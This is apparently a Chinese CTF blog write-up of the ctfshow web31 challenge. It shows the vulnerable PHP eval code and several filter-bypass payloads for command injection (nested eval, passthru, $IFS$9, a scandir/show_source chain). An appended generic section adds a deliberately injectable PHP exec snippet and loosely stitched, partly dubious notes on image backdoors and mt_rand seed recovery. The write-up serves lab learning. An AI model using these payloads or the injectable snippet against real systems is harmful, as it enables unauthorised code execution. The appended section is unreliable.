ctfshow-web入门-web31

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

1、该题目过滤了满足正则匹配的字符串,但是由于只是对参数进行了过滤,所以可以利用嵌套的方法来进行绕过:

?c=eval($_GET[a]);&a=system('cat flag.php');

也可利用passthru()函数来代替system函数。

?c=eval($_GET[a]);&a=passthru('cat flag.php');

这里的 cat 命令也可被 tac 命令替换。

2、因为passthru函数没有被过滤,所以可以直接使用passthru函数,但是由于空格被过滤,因此可以使用$IFS$9代替空格,$IFS$9的介绍可以参考以下博客:

浅谈CTF中命令执行与绕过的小技巧_$ifs$9-优快云博客

使用$9,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

在php环境中%09也可以代替空格符号。

?c=passthru("tac\$IFS$9f*");

这里不能使用cat命令,因为是给c变量传参。

3、使用连续调用函数的方法,实现对flag的输出。

localeconv()函数可以返回一个小数点 和数组,小数点位于数组的第一位。

pos()函数输出数组的第一位,即输出小数点。

scandir()函数,扫描目录,由于 . 代表当前目录,所以会扫描当前目录中的文件。

使用array_reverse()函数,颠倒查询到的目录下的文件的位置,即将flag.php文件移动到第二个位置。

利用next()函数,读取第二个位置的文件。

show_source();输出源码

所以最终payload的为:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

### CTFShow Web 入门教程与资源 #### 图片中的隐藏后门代码 在处理CTF挑战时,有时会遇到图片中嵌入的恶意代码或后门。这类攻击通常利用图像文件格式的特点,在不影响视觉效果的前提下植入可执行代码。为了检测此类漏洞,可以使用工具如Wireshark抓包分析网络传输数据,或者通过十六进制编辑器(例如010 Editor)查看二进制内容[^1]。 ```bash # 使用010Editor打开可疑图片文件并查找异常字符序列 $ 010editor image.png ``` #### 构造命令执行Payload 对于存在命令注入风险的应用程序,可以通过精心设计输入参数来触发特定行为。比如在一个假设场景下,如果服务器端未对用户提交的数据做充分验证,则可能允许攻击者绕过安全机制执行任意指令。下面展示了如何构建用于测试目的的有效载荷: ```php <?php // 测试用PHP代码片段模拟远程命令执行 $c = $_GET['c']; exec($c, $output); echo implode("\n", $output); ?> ``` 实际操作时应谨慎对待任何涉及系统调用的功能,并确保只针对授权环境开展实验性活动[^2]。 #### PHP随机数生成函数反向工程 某些情况下,了解目标应用内部工作原理有助于找到解决方案路径。以PHP为例,其内置伪随机数发生器`mt_rand()`依赖于初始状态——即种子值。当知道部分输出结果时,可通过逆向工程技术恢复原始种子,进而预测后续产生的数值系列。开源项目提供了实现这一过程所需的算法和编译方法[^3]。 ```cpp #include "php_mt_seed.h" int main() { // 示例:基于已知MT输出还原种子 unsigned long mt_output[] = { /* 已知的一组连续输出 */ }; int seed; find_mt_seed(mt_output, sizeof(mt_output)/sizeof(*mt_output), &seed); printf("Recovered Seed: %d\n", seed); return 0; } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值